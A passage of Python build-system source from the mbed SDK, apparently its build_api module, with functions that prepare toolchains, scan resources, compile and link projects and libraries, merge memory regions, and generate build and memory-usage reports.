None def print_build_results(result_list, build_name): """ Generate result string for build results Positional arguments: result_list - the list of results to print build_name - the name of the build we are printing result for """ result = "" if len(result_list) > 0: result += build_name + "\n" result += "\n".join([" * %s" % f for f in result_list]) result += "\n" return result def print_build_memory_usage(report): """ Generate result table with memory usage values for build results Aggregates (puts together) reports obtained from self.get_memory_summary() Positional arguments: report - Report generated during build procedure. """ from prettytable import PrettyTable columns_text = ['name', 'target', 'toolchain'] columns_int = ['static_ram', 'total_flash'] table = PrettyTable(columns_text + columns_int) for col in columns_text: table.align[col] = 'l' for col in columns_int: table.align[col] = 'r' for target in report: for toolchain in report[target]: for name in report[target][toolchain]: for dlist in report[target][toolchain][name]: for dlistelem in dlist: # Get 'memory_usage' record and build table with # statistics record = dlist[dlistelem] if 'memory_usage' in record and record['memory_usage']: # Note that summary should be in the last record of # 'memory_usage' section. This is why we are # grabbing last "[-1]" record. row = [ record['description'], record['target_name'], record['toolchain_name'], record['memory_usage'][-1]['summary'][ 'static_ram'], record['memory_usage'][-1]['summary'][ 'total_flash'], ] table.add_row(row) result = "Memory map breakdown for built projects (values in Bytes):\n" result += table.get_string(sortby='name') return result def write_build_report(build_report, template_filename, filename): """Write a build report to disk using a template file Positional arguments: build_report - a report generated by the build system template_filename - a file that contains the template for the style of build report filename - the location on disk to write the file to """ build_report_failing = [] build_report_passing = [] for report in build_report: if len(report["failing"]) > 0: build_report_failing.append(report) else: build_report_passing.append(report) env = Environment(extensions=['jinja2.ext.with_']) env.loader = FileSystemLoader('ci_templates') template = env.get_template(template_filename) with open(filename, 'w+') as placeholder: placeholder.write(template.render( failing_builds=build_report_failing, passing_builds=build_report_passing)) def merge_build_data(filename, toolchain_report, app_type): path_to_file = dirname(abspath(filename)) try: build_data = load(open(filename)) except (IOError, ValueError): build_data = {'builds': []} for tgt in toolchain_report.values(): for tc in tgt.values(): for project in tc.values(): for build in project: try: build[0]['elf'] = relpath(build[0]['elf'], path_to_file) build[0]['bin'] = relpath(build[0]['bin'], path_to_file) except KeyError: pass if 'type' not in build[0]: build[0]['type'] = app_type build_data['builds'].append(build[0]) dump(build_data, open(filename, "wb"), indent=4, separators=(',', ': '))

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""" mbed SDK Copyright (c) 2011-2016 ARM Limited Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import re import tempfile import datetime import uuid from types import ListType from shutil import rmtree from os.path import join, exists, dirname, basename, abspath, normpath, splitext from os.path import relpath from os import linesep, remove, makedirs from time import time from intelhex import IntelHex from json import load, dump from tools.utils import mkdir, run_cmd, run_cmd_ext, NotSupportedException,\ ToolException, InvalidReleaseTargetException, intelhex_offset from tools.paths import MBED_CMSIS_PATH, MBED_TARGETS_PATH, MBED_LIBRARIES,\ MBED_HEADER, MBED_DRIVERS, MBED_PLATFORM, MBED_HAL, MBED_CONFIG_FILE,\ MBED_LIBRARIES_DRIVERS, MBED_LIBRARIES_PLATFORM, MBED_LIBRARIES_HAL,\ BUILD_DIR from tools.targets import TARGET_NAMES, TARGET_MAP from tools.libraries import Library from tools.toolchains import TOOLCHAIN_CLASSES from jinja2 import FileSystemLoader from jinja2.environment import Environment from tools.config import Config RELEASE_VERSIONS = ['2', '5'] def prep_report(report, target_name, toolchain_name, id_name): """Setup report keys Positional arguments: report - the report to fill target_name - the target being used toolchain_name - the toolchain being used id_name - the name of the executable or library being built """ if not target_name in report: report[target_name] = {} if not toolchain_name in report[target_name]: report[target_name][toolchain_name] = {} if not id_name in report[target_name][toolchain_name]: report[target_name][toolchain_name][id_name] = [] def prep_properties(properties, target_name, toolchain_name, vendor_label): """Setup test properties Positional arguments: properties - the dict to fill target_name - the target the test is targeting toolchain_name - the toolchain that will compile the test vendor_label - the vendor """ if not target_name in properties: properties[target_name] = {} if not toolchain_name in properties[target_name]: properties[target_name][toolchain_name] = {} properties[target_name][toolchain_name]["target"] = target_name properties[target_name][toolchain_name]["vendor"] = vendor_label properties[target_name][toolchain_name]["toolchain"] = toolchain_name def create_result(target_name, toolchain_name, id_name, description): """Create a result dictionary Positional arguments: target_name - the target being built for toolchain_name - the toolchain doing the building id_name - the name of the executable or library being built description - a human readable description of what's going on """ cur_result = {} cur_result["target_name"] = target_name cur_result["toolchain_name"] = toolchain_name cur_result["id"] = id_name cur_result["description"] = description cur_result["elapsed_time"] = 0 cur_result["output"] = "" return cur_result def add_result_to_report(report, result): """Add a single result to a report dictionary Positional arguments: report - the report to append to result - the result to append """ result["date"] = datetime.datetime.utcnow().isoformat() result["uuid"] = str(uuid.uuid1()) target = result["target_name"] toolchain = result["toolchain_name"] id_name = result['id'] result_wrap = {0: result} report[target][toolchain][id_name].append(result_wrap) def get_config(src_paths, target, toolchain_name): """Get the configuration object for a target-toolchain combination Positional arguments: src_paths - paths to scan for the configuration files target - the device we are building for toolchain_name - the string that identifies the build tools """ # Convert src_paths to a list if needed if type(src_paths) != ListType: src_paths = [src_paths] # Pass all params to the unified prepare_resources() toolchain = prepare_toolchain(src_paths, None, target, toolchain_name) # Scan src_path for config files resources = toolchain.scan_resources(src_paths[0]) for path in src_paths[1:]: resources.add(toolchain.scan_resources(path)) # Update configuration files until added features creates no changes prev_features = set() while True: # Update the configuration with any .json files found while scanning toolchain.config.add_config_files(resources.json_files) # Add features while we find new ones features = set(toolchain.config.get_features()) if features == prev_features: break for feature in features: if feature in resources.features: resources += resources.features[feature] prev_features = features toolchain.config.validate_config() if toolchain.config.has_regions: _ = list(toolchain.config.regions) cfg, macros = toolchain.config.get_config_data() features = toolchain.config.get_features() return cfg, macros, features def is_official_target(target_name, version): """ Returns True, None if a target is part of the official release for the given version. Return False, 'reason' if a target is not part of the official release for the given version. Positional arguments: target_name - Name if the target (ex. 'K64F') version - The release version string. Should be a string contained within RELEASE_VERSIONS """ result = True reason = None target = TARGET_MAP[target_name] if hasattr(target, 'release_versions') \ and version in target.release_versions: if version == '2': # For version 2, either ARM or uARM toolchain support is required required_toolchains = set(['ARM', 'uARM']) if not len(required_toolchains.intersection( set(target.supported_toolchains))) > 0: result = False reason = ("Target '%s' must support " % target.name) + \ ("one of the folowing toolchains to be included in the") + \ ((" mbed 2.0 official release: %s" + linesep) % ", ".join(required_toolchains)) + \ ("Currently it is only configured to support the ") + \ ("following toolchains: %s" % ", ".join(target.supported_toolchains)) elif version == '5': # For version 5, ARM, GCC_ARM, and IAR toolchain support is required required_toolchains = set(['ARM', 'GCC_ARM', 'IAR']) required_toolchains_sorted = list(required_toolchains) required_toolchains_sorted.sort() supported_toolchains = set(target.supported_toolchains) supported_toolchains_sorted = list(supported_toolchains) supported_toolchains_sorted.sort() if not required_toolchains.issubset(supported_toolchains): result = False reason = ("Target '%s' must support " % target.name) + \ ("ALL of the folowing toolchains to be included in the") + \ ((" mbed OS 5.0 official release: %s" + linesep) % ", ".join(required_toolchains_sorted)) + \ ("Currently it is only configured to support the ") + \ ("following toolchains: %s" % ", ".join(supported_toolchains_sorted)) elif not target.default_lib == 'std': result = False reason = ("Target '%s' must set the " % target.name) + \ ("'default_lib' to 'std' to be included in the ") + \ ("mbed OS 5.0 official release." + linesep) + \ ("Currently it is set to '%s'" % target.default_lib) else: result = False reason = ("Target '%s' has set an invalid release version of '%s'" % version) + \ ("Please choose from the following release versions: %s" % ', '.join(RELEASE_VERSIONS)) else: result = False if not hasattr(target, 'release_versions'): reason = "Target '%s' " % target.name reason += "does not have the 'release_versions' key set" elif not version in target.release_versions: reason = "Target '%s' does not contain the version '%s' " % \ (target.name, version) reason += "in its 'release_versions' key" return result, reason def transform_release_toolchains(toolchains, version): """ Given a list of toolchains and a release version, return a list of only the supported toolchains for that release Positional arguments: toolchains - The list of toolchains version - The release version string. Should be a string contained within RELEASE_VERSIONS """ if version == '5': return ['ARM', 'GCC_ARM', 'IAR'] else: return toolchains def get_mbed_official_release(version): """ Given a release version string, return a tuple that contains a target and the supported toolchains for that release. Ex. Given '2', return (('LPC1768', ('ARM', 'GCC_ARM')), ('K64F', ('ARM', 'GCC_ARM')), ...) Positional arguments: version - The version string. Should be a string contained within RELEASE_VERSIONS """ mbed_official_release = ( tuple( tuple( [ TARGET_MAP[target].name, tuple(transform_release_toolchains( TARGET_MAP[target].supported_toolchains, version)) ] ) for target in TARGET_NAMES \ if (hasattr(TARGET_MAP[target], 'release_versions') and version in TARGET_MAP[target].release_versions) ) ) for target in mbed_official_release: is_official, reason = is_official_target(target[0], version) if not is_official: raise InvalidReleaseTargetException(reason) return mbed_official_release def add_regions_to_profile(profile, config, toolchain_class): """Add regions to the build profile, if there are any. Positional Arguments: profile - the profile to update config - the configuration object that owns the region toolchain_class - the class of the toolchain being used """ if not profile: return regions = list(config.regions) for region in regions: for define in [(region.name.upper() + "_ADDR", region.start), (region.name.upper() + "_SIZE", region.size)]: profile["common"].append("-D%s=0x%x" % define) active_region = [r for r in regions if r.active][0] for define in [("MBED_APP_START", active_region.start), ("MBED_APP_SIZE", active_region.size)]: profile["ld"].append(toolchain_class.make_ld_define(*define)) print("Using regions in this build:") for region in regions: print(" Region %s size 0x%x, offset 0x%x" % (region.name, region.size, region.start)) def prepare_toolchain(src_paths, build_dir, target, toolchain_name, macros=None, clean=False, jobs=1, notify=None, silent=False, verbose=False, extra_verbose=False, config=None, app_config=None, build_profile=None): """ Prepares resource related objects - toolchain, target, config Positional arguments: src_paths - the paths to source directories target - ['LPC1768', 'LPC11U24', etc.] toolchain_name - ['ARM', 'uARM', 'GCC_ARM', 'GCC_CR'] Keyword arguments: macros - additional macros clean - Rebuild everything if True jobs - how many compilers we can run at once notify - Notify function for logs silent - suppress printing of progress indicators verbose - Write the actual tools command lines used if True extra_verbose - even more output! config - a Config object to use instead of creating one app_config - location of a chosen mbed_app.json file build_profile - a list of mergeable build profiles """ # We need to remove all paths which are repeated to avoid # multiple compilations and linking with the same objects src_paths = [src_paths[0]] + list(set(src_paths[1:])) # If the configuration object was not yet created, create it now config = config or Config(target, src_paths, app_config=app_config) target = config.target try: cur_tc = TOOLCHAIN_CLASSES[toolchain_name] except KeyError: raise KeyError("Toolchain %s not supported" % toolchain_name) profile = {'c': [], 'cxx': [], 'common': [], 'asm': [], 'ld': []} for contents in build_profile or []: for key in profile: profile[key].extend(contents[toolchain_name][key]) if config.has_regions: add_regions_to_profile(profile, config, cur_tc) toolchain = cur_tc(target, notify, macros, silent, build_dir=build_dir, extra_verbose=extra_verbose, build_profile=profile) toolchain.config = config toolchain.jobs = jobs toolchain.build_all = clean toolchain.VERBOSE = verbose return toolchain def merge_region_list(region_list, destination, padding=b'\xFF'): """Merege the region_list into a single image Positional Arguments: region_list - list of regions, which should contain filenames destination - file name to write all regions to padding - bytes to fill gapps with """ merged = IntelHex() print("Merging Regions:") for region in region_list: if region.active and not region.filename: raise ToolException("Active region has no contents: No file found.") if region.filename: print(" Filling region %s with %s" % (region.name, region.filename)) part = intelhex_offset(region.filename, offset=region.start) part_size = (part.maxaddr() - part.minaddr()) + 1 if part_size > region.size: raise ToolException("Contents of region %s does not fit" % region.name) merged.merge(part) pad_size = region.size - part_size if pad_size > 0 and region != region_list[-1]: print(" Padding region %s with 0x%x bytes" % (region.name, pad_size)) merged.puts(merged.maxaddr() + 1, padding * pad_size) if not exists(dirname(destination)): makedirs(dirname(destination)) print("Space used after regions merged: 0x%x" % (merged.maxaddr() - merged.minaddr() + 1)) with open(destination, "wb+") as output: merged.tofile(output, format='bin') def scan_resources(src_paths, toolchain, dependencies_paths=None, inc_dirs=None, base_path=None, collect_ignores=False): """ Scan resources using initialized toolcain Positional arguments src_paths - the paths to source directories toolchain - valid toolchain object dependencies_paths - dependency paths that we should scan for include dirs inc_dirs - additional include directories which should be added to the scanner resources """ # Scan src_path resources = toolchain.scan_resources(src_paths[0], base_path=base_path, collect_ignores=collect_ignores) for path in src_paths[1:]: resources.add(toolchain.scan_resources(path, base_path=base_path, collect_ignores=collect_ignores)) # Scan dependency paths for include dirs if dependencies_paths is not None: for path in dependencies_paths: lib_resources = toolchain.scan_resources(path) resources.inc_dirs.extend(lib_resources.inc_dirs) # Add additional include directories if passed if inc_dirs: if type(inc_dirs) == ListType: resources.inc_dirs.extend(inc_dirs) else: resources.inc_dirs.append(inc_dirs) # Load resources into the config system which might expand/modify resources # based on config data resources = toolchain.config.load_resources(resources) # Set the toolchain's configuration data toolchain.set_config_data(toolchain.config.get_config_data()) if (hasattr(toolchain.target, "release_versions") and "5" not in toolchain.target.release_versions and "rtos" in toolchain.config.lib_config_data): if "Cortex-A" in toolchain.target.core: raise NotSupportedException( ("%s Will be supported in mbed OS 5.6. " "To use the %s, please checkout the mbed OS 5.4 release branch. " "See https://developer.mbed.org/platforms/Renesas-GR-PEACH/#important-notice " "for more information") % (toolchain.target.name, toolchain.target.name)) else: raise NotSupportedException("Target does not support mbed OS 5") return resources def build_project(src_paths, build_path, target, toolchain_name, libraries_paths=None, linker_script=None, clean=False, notify=None, verbose=False, name=None, macros=None, inc_dirs=None, jobs=1, silent=False, report=None, properties=None, project_id=None, project_description=None, extra_verbose=False, config=None, app_config=None, build_profile=None, stats_depth=None): """ Build a project. A project may be a test or a user program. Positional arguments: src_paths - a path or list of paths that contain all files needed to build the project build_path - the directory where all of the object files will be placed target - the MCU or board that the project will compile for toolchain_name - the name of the build tools Keyword arguments: libraries_paths - The location of libraries to include when linking linker_script - the file that drives the linker to do it's job clean - Rebuild everything if True notify - Notify function for logs verbose - Write the actual tools command lines used if True name - the name of the project macros - additional macros inc_dirs - additional directories where include files may be found jobs - how many compilers we can run at once silent - suppress printing of progress indicators report - a dict where a result may be appended properties - UUUUHHHHH beats me project_id - the name put in the report project_description - the human-readable version of what this thing does extra_verbose - even more output! config - a Config object to use instead of creating one app_config - location of a chosen mbed_app.json file build_profile - a dict of flags that will be passed to the compiler stats_depth - depth level for memap to display file/dirs """ # Convert src_path to a list if needed if type(src_paths) != ListType: src_paths = [src_paths] # Extend src_paths wiht libraries_paths if libraries_paths is not None: src_paths.extend(libraries_paths) inc_dirs.extend(map(dirname, libraries_paths)) if clean and exists(build_path): rmtree(build_path) mkdir(build_path) toolchain = prepare_toolchain( src_paths, build_path, target, toolchain_name, macros=macros, clean=clean, jobs=jobs, notify=notify, silent=silent, verbose=verbose, extra_verbose=extra_verbose, config=config, app_config=app_config, build_profile=build_profile) # The first path will give the name to the library name = (name or toolchain.config.name or basename(normpath(abspath(src_paths[0])))) toolchain.info("Building project %s (%s, %s)" % (name, toolchain.target.name, toolchain_name)) # Initialize reporting if report != None: start = time() # If project_id is specified, use that over the default name id_name = project_id.upper() if project_id else name.upper() description = project_description if project_description else name vendor_label = toolchain.target.extra_labels[0] prep_report(report, toolchain.target.name, toolchain_name, id_name) cur_result = create_result(toolchain.target.name, toolchain_name, id_name, description) if properties != None: prep_properties(properties, toolchain.target.name, toolchain_name, vendor_label) try: # Call unified scan_resources resources = scan_resources(src_paths, toolchain, inc_dirs=inc_dirs) # Change linker script if specified if linker_script is not None: resources.linker_script = linker_script # Compile Sources objects = toolchain.compile_sources(resources, resources.inc_dirs) resources.objects.extend(objects) # Link Program if toolchain.config.has_regions: res, _ = toolchain.link_program(resources, build_path, name + "_application") region_list = list(toolchain.config.regions) region_list = [r._replace(filename=res) if r.active else r for r in region_list] res = join(build_path, name) + ".bin" merge_region_list(region_list, res) else: res, _ = toolchain.link_program(resources, build_path, name) memap_instance = getattr(toolchain, 'memap_instance', None) memap_table = '' if memap_instance: # Write output to stdout in text (pretty table) format memap_table = memap_instance.generate_output('table', stats_depth) if not silent: print memap_table # Write output to file in JSON format map_out = join(build_path, name + "_map.json") memap_instance.generate_output('json', stats_depth, map_out) # Write output to file in CSV format for the CI map_csv = join(build_path, name + "_map.csv") memap_instance.generate_output('csv-ci', stats_depth, map_csv) resources.detect_duplicates(toolchain) if report != None: end = time() cur_result["elapsed_time"] = end - start cur_result["output"] = toolchain.get_output() + memap_table cur_result["result"] = "OK" cur_result["memory_usage"] = memap_instance.mem_report cur_result["bin"] = res cur_result["elf"] = splitext(res)[0] + ".elf" cur_result.update(toolchain.report) add_result_to_report(report, cur_result) return res except Exception as exc: if report != None: end = time() if isinstance(exc, NotSupportedException): cur_result["result"] = "NOT_SUPPORTED" else: cur_result["result"] = "FAIL" cur_result["elapsed_time"] = end - start toolchain_output = toolchain.get_output() if toolchain_output: cur_result["output"] += toolchain_output add_result_to_report(report, cur_result) # Let Exception propagate raise def build_library(src_paths, build_path, target, toolchain_name, dependencies_paths=None, name=None, clean=False, archive=True, notify=None, verbose=False, macros=None, inc_dirs=None, jobs=1, silent=False, report=None, properties=None, extra_verbose=False, project_id=None, remove_config_header_file=False, app_config=None, build_profile=None): """ Build a library Positional arguments: src_paths - a path or list of paths that contain all files needed to build the library build_path - the directory where all of the object files will be placed target - the MCU or board that the project will compile for toolchain_name - the name of the build tools Keyword arguments: dependencies_paths - The location of libraries to include when linking name - the name of the library clean - Rebuild everything if True archive - whether the library will create an archive file notify - Notify function for logs verbose - Write the actual tools command lines used if True macros - additional macros inc_dirs - additional directories where include files may be found jobs - how many compilers we can run at once silent - suppress printing of progress indicators report - a dict where a result may be appended properties - UUUUHHHHH beats me extra_verbose - even more output! project_id - the name that goes in the report remove_config_header_file - delete config header file when done building app_config - location of a chosen mbed_app.json file build_profile - a dict of flags that will be passed to the compiler """ # Convert src_path to a list if needed if type(src_paths) != ListType: src_paths = [src_paths] # Build path if archive: # Use temp path when building archive tmp_path = join(build_path, '.temp') mkdir(tmp_path) else: tmp_path = build_path # Clean the build directory if clean and exists(tmp_path): rmtree(tmp_path) mkdir(tmp_path) # Pass all params to the unified prepare_toolchain() toolchain = prepare_toolchain( src_paths, build_path, target, toolchain_name, macros=macros, clean=clean, jobs=jobs, notify=notify, silent=silent, verbose=verbose, extra_verbose=extra_verbose, app_config=app_config, build_profile=build_profile) # The first path will give the name to the library if name is None: name = basename(normpath(abspath(src_paths[0]))) toolchain.info("Building library %s (%s, %s)" % (name, toolchain.target.name, toolchain_name)) # Initialize reporting if report != None: start = time() # If project_id is specified, use that over the default name id_name = project_id.upper() if project_id else name.upper() description = name vendor_label = toolchain.target.extra_labels[0] prep_report(report, toolchain.target.name, toolchain_name, id_name) cur_result = create_result(toolchain.target.name, toolchain_name, id_name, description) cur_result['type'] = 'library' if properties != None: prep_properties(properties, toolchain.target.name, toolchain_name, vendor_label) for src_path in src_paths: if not exists(src_path): error_msg = "The library source folder does not exist: %s", src_path if report != None: cur_result["output"] = error_msg cur_result["result"] = "FAIL" add_result_to_report(report, cur_result) raise Exception(error_msg) try: # Call unified scan_resources resources = scan_resources(src_paths, toolchain, dependencies_paths=dependencies_paths, inc_dirs=inc_dirs) # Copy headers, objects and static libraries - all files needed for # static lib toolchain.copy_files(resources.headers, build_path, resources=resources) toolchain.copy_files(resources.objects, build_path, resources=resources) toolchain.copy_files(resources.libraries, build_path, resources=resources) toolchain.copy_files(resources.json_files, build_path, resources=resources) if resources.linker_script: toolchain.copy_files(resources.linker_script, build_path, resources=resources) if resources.hex_files: toolchain.copy_files(resources.hex_files, build_path, resources=resources) # Compile Sources objects = toolchain.compile_sources(resources, resources.inc_dirs) resources.objects.extend(objects) if archive: toolchain.build_library(objects, build_path, name) if remove_config_header_file: config_header_path = toolchain.get_config_header() if config_header_path: remove(config_header_path) if report != None: end = time() cur_result["elapsed_time"] = end - start cur_result["output"] = toolchain.get_output() cur_result["result"] = "OK" add_result_to_report(report, cur_result) return True except Exception as exc: if report != None: end = time() if isinstance(exc, ToolException): cur_result["result"] = "FAIL" elif isinstance(exc, NotSupportedException): cur_result["result"] = "NOT_SUPPORTED" cur_result["elapsed_time"] = end - start toolchain_output = toolchain.get_output() if toolchain_output: cur_result["output"] += toolchain_output add_result_to_report(report, cur_result) # Let Exception propagate raise ###################### ### Legacy methods ### ###################### def mbed2_obj_path(target_name, toolchain_name): real_tc_name = TOOLCHAIN_CLASSES[toolchain_name].__name__ return join("TARGET_" + target_name, "TOOLCHAIN_" + real_tc_name) def build_lib(lib_id, target, toolchain_name, verbose=False, clean=False, macros=None, notify=None, jobs=1, silent=False, report=None, properties=None, extra_verbose=False, build_profile=None): """ Legacy method for building mbed libraries Positional arguments: lib_id - the library's unique identifier target - the MCU or board that the project will compile for toolchain_name - the name of the build tools Keyword arguments: clean - Rebuild everything if True verbose - Write the actual tools command lines used if True macros - additional macros notify - Notify function for logs jobs - how many compilers we can run at once silent - suppress printing of progress indicators report - a dict where a result may be appended properties - UUUUHHHHH beats me extra_verbose - even more output! build_profile - a dict of flags that will be passed to the compiler """ lib = Library(lib_id) if not lib.is_supported(target, toolchain_name): print('Library "%s" is not yet supported on target %s with toolchain %s' % (lib_id, target.name, toolchain_name)) return False lib_macros = lib.macros if lib.macros else [] if macros: macros.extend(lib_macros) else: macros = lib_macros src_paths = lib.source_dir build_path = lib.build_dir dependencies_paths = lib.dependencies inc_dirs = lib.inc_dirs inc_dirs_ext = lib.inc_dirs_ext if type(src_paths) != ListType: src_paths = [src_paths] name = basename(src_paths[0]) if report != None: start = time() id_name = name.upper() description = name vendor_label = target.extra_labels[0] cur_result = None prep_report(report, target.name, toolchain_name, id_name) cur_result = create_result(target.name, toolchain_name, id_name, description) if properties != None: prep_properties(properties, target.name, toolchain_name, vendor_label) for src_path in src_paths: if not exists(src_path): error_msg = "The library source folder does not exist: %s", src_path if report != None: cur_result["output"] = error_msg cur_result["result"] = "FAIL" add_result_to_report(report, cur_result) raise Exception(error_msg) try: bin_path = join(build_path, mbed2_obj_path(target.name, toolchain_name)) mkdir(bin_path) tmp_path = join(build_path, '.temp', mbed2_obj_path(target.name, toolchain_name)) mkdir(tmp_path) toolchain = prepare_toolchain( src_paths, tmp_path, target, toolchain_name, macros=macros, notify=notify, silent=silent, extra_verbose=extra_verbose, build_profile=build_profile, jobs=jobs, clean=clean) toolchain.info("Building library %s (%s, %s)" % (name.upper(), target.name, toolchain_name)) config = toolchain.config config.add_config_files([MBED_CONFIG_FILE]) resources = [] for src_path in src_paths: resources.append(toolchain.scan_resources(src_path)) if inc_dirs_ext is not None: for inc_ext in inc_dirs_ext: resources.append(toolchain.scan_resources(inc_ext)) dependencies_include_dir = [] if dependencies_paths is not None: for path in dependencies_paths: lib_resources = toolchain.scan_resources(path) dependencies_include_dir.extend(lib_resources.inc_dirs) dependencies_include_dir.extend(map(dirname, lib_resources.inc_dirs)) if inc_dirs: dependencies_include_dir.extend(inc_dirs) for res in resources: config.load_resources(res) toolchain.set_config_data(toolchain.config.get_config_data()) for resource in resources: toolchain.copy_files(resource.headers, build_path, resources=resource) dependencies_include_dir.extend( toolchain.scan_resources(build_path).inc_dirs) objects = [] for resource in resources: objects.extend(toolchain.compile_sources(resource, dependencies_include_dir)) needed_update = toolchain.build_library(objects, bin_path, name) if report != None and needed_update: end = time() cur_result["elapsed_time"] = end - start cur_result["output"] = toolchain.get_output() cur_result["result"] = "OK" add_result_to_report(report, cur_result) return True except Exception: if report != None: end = time() cur_result["result"] = "FAIL" cur_result["elapsed_time"] = end - start toolchain_output = toolchain.get_output() if toolchain_output: cur_result["output"] += toolchain_output add_result_to_report(report, cur_result) raise def build_mbed_libs(target, toolchain_name, verbose=False, clean=False, macros=None, notify=None, jobs=1, silent=False, report=None, properties=None, extra_verbose=False, build_profile=None): """ Function returns True is library was built and false if building was skipped Positional arguments: target - the MCU or board that the project will compile for toolchain_name - the name of the build tools Keyword arguments: verbose - Write the actual tools command lines used if True clean - Rebuild everything if True macros - additional macros notify - Notify function for logs jobs - how many compilers we can run at once silent - suppress printing of progress indicators report - a dict where a result may be appended properties - UUUUHHHHH beats me extra_verbose - even more output! build_profile - a dict of flags that will be passed to the compiler """ if report != None: start = time() id_name = "MBED" description = "mbed SDK" vendor_label = target.extra_labels[0] cur_result = None prep_report(report, target.name, toolchain_name, id_name) cur_result = create_result(target.name, toolchain_name, id_name, description) if properties != None: prep_properties(properties, target.name, toolchain_name, vendor_label) if toolchain_name not in target.supported_toolchains: supported_toolchains_text = ", ".join(target.supported_toolchains) print('%s target is not yet supported by toolchain %s' % (target.name, toolchain_name)) print('%s target supports %s toolchain%s' % (target.name, supported_toolchains_text, 's' if len(target.supported_toolchains) > 1 else '')) if report != None: cur_result["result"] = "SKIP" add_result_to_report(report, cur_result) return False try: build_target = join(MBED_LIBRARIES, "TARGET_" + target.name) build_toolchain = join(MBED_LIBRARIES, mbed2_obj_path(target.name, toolchain_name)) mkdir(build_toolchain) tmp_path = join(MBED_LIBRARIES, '.temp', mbed2_obj_path(target.name, toolchain_name)) mkdir(tmp_path) toolchain = prepare_toolchain( [""], tmp_path, target, toolchain_name, macros=macros,verbose=verbose, notify=notify, silent=silent, extra_verbose=extra_verbose, build_profile=build_profile, jobs=jobs, clean=clean) config = toolchain.config config.add_config_files([MBED_CONFIG_FILE]) toolchain.set_config_data(toolchain.config.get_config_data()) toolchain.info("Building library %s (%s, %s)" % ('CMSIS', target.name, toolchain_name)) cmsis_src = MBED_CMSIS_PATH resources = toolchain.scan_resources(cmsis_src) toolchain.copy_files(resources.headers, build_target) toolchain.copy_files(resources.linker_script, build_toolchain) toolchain.copy_files(resources.bin_files, build_toolchain) objects = toolchain.compile_sources(resources, tmp_path) toolchain.copy_files(objects, build_toolchain) toolchain.info("Building library %s (%s, %s)" % ('MBED', target.name, toolchain_name)) toolchain.copy_files([MBED_HEADER], MBED_LIBRARIES) library_incdirs = [dirname(MBED_LIBRARIES), MBED_LIBRARIES] for dir, dest in [(MBED_DRIVERS, MBED_LIBRARIES_DRIVERS), (MBED_PLATFORM, MBED_LIBRARIES_PLATFORM), (MBED_HAL, MBED_LIBRARIES_HAL)]: resources = toolchain.scan_resources(dir) toolchain.copy_files(resources.headers, dest) library_incdirs.append(dest) hal_src = MBED_TARGETS_PATH hal_implementation = toolchain.scan_resources(hal_src) toolchain.copy_files(hal_implementation.headers + hal_implementation.hex_files + hal_implementation.libraries + [MBED_CONFIG_FILE], build_target, resources=hal_implementation) toolchain.copy_files(hal_implementation.linker_script, build_toolchain) toolchain.copy_files(hal_implementation.bin_files, build_toolchain) incdirs = toolchain.scan_resources(build_target).inc_dirs objects = toolchain.compile_sources(hal_implementation, library_incdirs + incdirs) toolchain.copy_files(objects, build_toolchain) mbed_resources = None for dir in [MBED_DRIVERS, MBED_PLATFORM, MBED_HAL]: mbed_resources += toolchain.scan_resources(dir) objects = toolchain.compile_sources(mbed_resources, library_incdirs + incdirs) separate_names, separate_objects = ['mbed_retarget.o', 'mbed_board.o', 'mbed_overrides.o', 'mbed_main.o', 'mbed_sdk_boot.o'], [] for obj in objects: for name in separate_names: if obj.endswith(name): separate_objects.append(obj) for obj in separate_objects: objects.remove(obj) toolchain.build_library(objects, build_toolchain, "mbed") for obj in separate_objects: toolchain.copy_files(obj, build_toolchain) if report != None: end = time() cur_result["elapsed_time"] = end - start cur_result["output"] = toolchain.get_output() cur_result["result"] = "OK" add_result_to_report(report, cur_result) return True except Exception as exc: if report != None: end = time() cur_result["result"] = "FAIL" cur_result["elapsed_time"] = end - start toolchain_output = toolchain.get_output() if toolchain_output: cur_result["output"] += toolchain_output cur_result["output"] += str(exc) add_result_to_report(report, cur_result) raise def get_unique_supported_toolchains(release_targets=None): """ Get list of all unique toolchains supported by targets Keyword arguments: release_targets - tuple structure returned from get_mbed_official_release(). If release_targets is not specified, then it queries all known targets """ unique_supported_toolchains = [] if not release_targets: for target in TARGET_NAMES: for toolchain in TARGET_MAP[target].supported_toolchains: if toolchain not in unique_supported_toolchains: unique_supported_toolchains.append(toolchain) else: for target in release_targets: for toolchain in target[1]: if toolchain not in unique_supported_toolchains: unique_supported_toolchains.append(toolchain) if "ARM" in unique_supported_toolchains: unique_supported_toolchains.append("ARMC6") return unique_supported_toolchains def mcu_toolchain_list(release_version='5'): """ Shows list of toolchains """ if isinstance(release_version, basestring): release_version = release_version.lower() else: release_version = 'all' version_release_targets = {} version_release_target_names = {} for version in RELEASE_VERSIONS: version_release_targets[version] = get_mbed_official_release(version) version_release_target_names[version] = [x[0] for x in version_release_targets[ version]] if release_version in RELEASE_VERSIONS: release_targets = version_release_targets[release_version] else: release_targets = None unique_supported_toolchains = get_unique_supported_toolchains( release_targets) columns = ["mbed OS %s" % x for x in RELEASE_VERSIONS] + unique_supported_toolchains return "\n".join(columns) def mcu_target_list(release_version='5'): """ Shows target list """ if isinstance(release_version, basestring): release_version = release_version.lower() else: release_version = 'all' version_release_targets = {} version_release_target_names = {} for version in RELEASE_VERSIONS: version_release_targets[version] = get_mbed_official_release(version) version_release_target_names[version] = [x[0] for x in version_release_targets[ version]] if release_version in RELEASE_VERSIONS: release_targets = version_release_targets[release_version] else: release_targets = None target_names = [] if release_targets: target_names = [x[0] for x in release_targets] else: target_names = TARGET_NAMES return "\n".join(target_names) def mcu_toolchain_matrix(verbose_html=False, platform_filter=None, release_version='5'): """ Shows target map using prettytable Keyword arguments: verbose_html - emit html instead of a simple table platform_filter - remove results that match the string release_version - get the matrix for this major version number """ from prettytable import PrettyTable if isinstance(release_version, basestring): release_version = release_version.lower() else: release_version = 'all' version_release_targets = {} version_release_target_names = {} for version in RELEASE_VERSIONS: version_release_targets[version] = get_mbed_official_release(version) version_release_target_names[version] = [x[0] for x in version_release_targets[ version]] if release_version in RELEASE_VERSIONS: release_targets = version_release_targets[release_version] else: release_targets = None unique_supported_toolchains = get_unique_supported_toolchains( release_targets) prepend_columns = ["Target"] + ["mbed OS %s" % x for x in RELEASE_VERSIONS] columns = 